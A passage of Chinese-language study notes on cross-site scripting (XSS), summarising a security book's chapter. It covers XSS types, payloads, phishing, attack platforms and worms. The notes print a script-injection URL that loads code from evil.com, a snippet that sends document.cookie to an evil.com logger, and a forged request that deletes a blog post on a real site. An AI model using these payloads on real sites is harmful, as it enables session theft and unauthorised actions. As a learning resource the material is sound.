3.1 xss简介
cross site script 本来缩写是css,为了跟网站开发中的css区分,安全领域称为xss。
xss的产生原因是直接把用户的输入,输出到页面上,黑客可以输入脚本语句进行攻击。
xss的分类:反射性xss,需要诱使用户点击恶意链接才能攻击成功;存储型xss,也叫持久型xss,黑客输入的数据可以存储在服务器上;DOM based xss,实际上是一种反射性xss,通过修改页面的DOM来进行攻击。
3.2 xss攻击进阶
3.2.1 初探xss payload
xss payload实际上就是java script,还可以说flash或其他富客户端脚本。
真正的payload写在远程脚本中,避免直接在url中写入大量代码,如:
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
窃取cookie的代码:
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
cookie的HttpOnly可以防止Cookie劫持。
3.2.2 强大的xss payload
- 构造get与post请求
get请求的例子:假设sohu博客上存在xss漏洞并且知道文章id,那么删除sohu博客该文章,只需调整:
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1234567
post请求的例子:利用xss在豆瓣上发言,可以通过构造form或XMLHttpRequest两种方式发起post请求,代码较长,详见书的p48-49。书中还有一个更复杂的读取qq邮箱的例子。
- xss钓鱼
xss缺少与用户交互,对于这个问题,书中举了两个例子,一个针对验证码,另一个上通过构造密码输入框,钓鱼方式获取用户密码。
- 识别用户浏览器
- 识别用户安装的软件
- 获取用户的真实ip地址
以上几个有需要的时候再研究了。
3.2.3 xss攻击平台
Attack API、BeEF、xss proxy
3.2.4 终极武器 xss worm
举了myspace和百度空间的两个例子,难度挺大。
3.2.5 调试js
firebug:第一利器,缺点是只对firefox支持最好。
IE developer tools、Fiddler、HttpWatch等。
3.2.6 xss构造技巧